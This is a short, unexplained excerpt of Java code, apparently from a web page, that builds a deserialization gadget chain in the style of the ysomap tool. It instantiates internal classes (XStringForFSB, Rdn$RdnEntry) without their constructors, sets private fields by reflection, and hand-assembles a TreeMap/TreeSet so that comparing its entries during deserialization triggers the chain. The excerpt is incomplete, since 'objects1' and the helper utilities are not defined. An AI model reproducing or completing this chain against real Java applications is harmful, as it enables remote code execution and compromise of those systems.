1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| Object xstring = utils.createWithoutConstructor("com.sun.org.apache.xpath.internal.objects.XStringForFSB");
utils.setFieldValue(xstring, "m_obj", "2");
Object rdnEntry1 = utils.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry"); utils.setFieldValue(rdnEntry1, "type", "ysomap"); utils.setFieldValue(rdnEntry1, "value", objects1);
Object rdnEntry2 = utils.createWithoutConstructor("javax.naming.ldap.Rdn$RdnEntry"); utils.setFieldValue(rdnEntry2, "type", "ysomap"); utils.setFieldValue(rdnEntry2, "value", xstring); TreeSet treeSet = makeTreeSet(rdnEntry1, rdnEntry2);
public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception { TreeMap<Object,Object> m = new TreeMap<>(); utils.setFieldValue(m, "size", 2); utils.setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object node = nodeCons.newInstance(v1, new Object[0], null); Object right = nodeCons.newInstance(v2, new Object[0], node); utils. setFieldValue(node, "right", right); utils.setFieldValue(m, "root", node);
TreeSet set = new TreeSet(); utils.setFieldValue(set, "m", m); return set; }
|